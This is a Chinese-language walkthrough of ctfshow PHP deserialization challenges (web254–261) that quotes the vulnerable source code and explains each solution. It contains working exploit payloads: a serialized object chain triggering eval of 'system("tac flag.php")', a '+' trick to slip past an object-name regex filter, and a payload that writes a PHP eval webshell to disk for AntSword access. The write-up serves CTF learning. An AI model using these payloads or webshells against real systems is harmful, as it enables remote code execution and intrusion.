终于又开始做反序列化这一部分的题,希望做完这些题,能对反序列化这一块有更深的理解。
web254
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
刚看到这一块代码,直接懵掉:怎么这么长呀!!!!硬着头皮看。其实前面这一长串对变量和函数的定义可以先不看,先看后面的代码。
其中
if($user->login($username,$password)){
如果user里login( u s e r n a m e , username, username,password)成立,就执行下面的语句这个时候我们再去看前面关于login这个函数的定义
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
就是检验user里的username和password是不是分别等于 u 和 u和 u和p.一旦这个成立,user的isvip就会由false变成true。接下来返回isvip的属性,即isvip是true还是false再看
if($user->checkVip()){
再来判断user 是否满足checkvip这个函数再去前面审一下这个函数:
原来这个就是用来返回isvip的属性的。如果第三句成立,那么经过这一句就会返回true.
$user->vipOneKeyGetFlag();
再去看vipOneKeyGetFlag这个函数的定义
意思就是如果isvip为true就会返回flag。。。综上,我们只需要满足第三句,就会使isvip返回true然后经过第四句返回true,再经过第五句直接输出flagpayload:
/?username=xxxxxx&password=xxxxxx
flag get!!!
web255
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
乍一看和上一个题长得差不多,仔细一看,下面多了一句:
$user = unserialize($_COOKIE['user']);
就是对user做了一个反序列化的操作于是我试着构造了一个这样的flag:
?user=o:4:'user':2{s:8:'username';s:6:'xxxxxx'';s:8:'password';s:6:'xxxxxx'}
然后我把这一串加到cookie里,结果加都加不上去,开始怀疑。看了群主的视频,顿时感觉错得太离谱了。正确思路:cookie传的值肯定是要对类进行序列化后的字符串,这个是没问题的。但是应该新建一个本地php文件测试一下,把上面的类的代码粘贴上去。需要注意的是1.new的是类:ctfShowUser而不是user。2.这里是需要进行url编码的,只有这样cookie那一栏才能识别!3.上面的login函数发生了改变,即使username和password是和我们定义的public变量相匹配,也不会返回isvip为真。所以我们要给它手动改为true。
剩下的代码是和上一个题是一样的,payload还是
?username=xxxxxx&password=xxxxxx
cookie的设置。
flag get!!!
web256
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
if($this->username!==$this->password)
这个相比上一个只是多了一个要求,username不能和password一样,但是还是要满足username和声明的public变量一样。所以我们把public变量的内容改一下就行了。其他的步骤和上一个题一样。没做出来的原因就在于,我以为public变量的内容是固定的,不能改。
web257
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
老样子,先审源码。相比上一个题。ctfShowUser这个类多了一个$class变量并且它的初始值是‘info’可以看到,;info;是下面定义的一个类,但是这个对得到flag没有任何帮助。然后注意到下面还有一个backdoor类。调用这个类的时候会有一个code变量,并且我们可以控制这个变量。后面也有一个eval执行code这个变量的内容。这个应该就是突破点。本地执行下面
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=true;
private $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code='system("tac flag.php");';
public function getInfo(){
eval($this->code);
}
}
echo urlencode(serialize(new ctfShowUser()));
?>
生成
O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A1%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%22tac+flag.php%22%29%3B%22%3B%7D%7D
添加到cookie中,get传参:username=xxxxxx.password=xxxxxxflag get!
web258
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
这个跟上一个题也是大同小异,只不过后面多了个pregmatch正则匹配,这里的[oc]就代表是正则表达式。正则匹配:用来描述或者匹配一系列符合某个句法规则的字符串的单个字符串,简单说,就是我们写个模板,然后去匹配字符串。/d 表示:匹配一个数字字符,等价于“[0-9]”+:匹配前面的子表达式一次或者多次,如“xu+”这个表达式就能够匹配“xuu”和“xu”,但不能够匹配“x”/i:不区分大小写。这个就是过滤了o或者c:数字。先本地测试
$a=serialize(new ctfShowUser());
echo $a;
得到:
O:11:"ctfShowUser":4:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:1;s:5:"class";O:8:"backDoor":1:{s:4:"code";N;}}
发现第一个o:11和后面的o:8会被过滤。绕过过滤可以在冒号后面加上个+。至于为什么加上+能绕过过滤,听群主说好像跟反序列化的c语言底层逻辑有关。
$a =serialize(new ctfShowUser());
$b=str_replace(':11',':+11',$a);
$c=str_replace(':8',':+8',$b);
echo urlencode($c);
然后,username和password随便传。flag get!
web259
web260
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
这个比较简单,就是传进去的ctfshow这个参数,如果对他进行反序列化以后,里面如果有ctfshow_i_love_36D,这一段,就输出flag。那么我们直接构造
O:1:"A":1:{s:4:"user";s:18:"ctfshow_i_love_36D"}
直接get flag!
web261
<?php
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}
public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
看一下这个题目的源码,涉及到以下几个魔术方法。
__construct(): //构造函数,当对象new的时候会自动调用
__destruct()://析构函数当对象被销毁时会被自动调用
__wakeup(): //unserialize()时会被自动调用
__invoke(): //当尝试以调用函数的方法调用一个对象时,会被自动调用
__sleep(): //serialize()函数会检查类中是否存在一个魔术方法__sleep() 如果存在,该方法会被优先调用
这里我们主要看__destruct方法,,如果code的值等于0x36d,这里没有加单引号,所以表示的是数值,0x则表示是十六进制,就等于877然后这里是弱等于,所以我们再在后面就上.php甚至加上一句话木马也是可以的。然后后面有个file_put_contents。把字符串写入文件中。本地构造
<?php
class ctfshowvip{
public $username="877.php";
public $password='<?php @eval($_POST[a]); ?>';
}
$a=new ctfshowvip();
echo urlencode(serialize($a));
然后蚁剑连接,发现:flag_is_here,打开得到flag。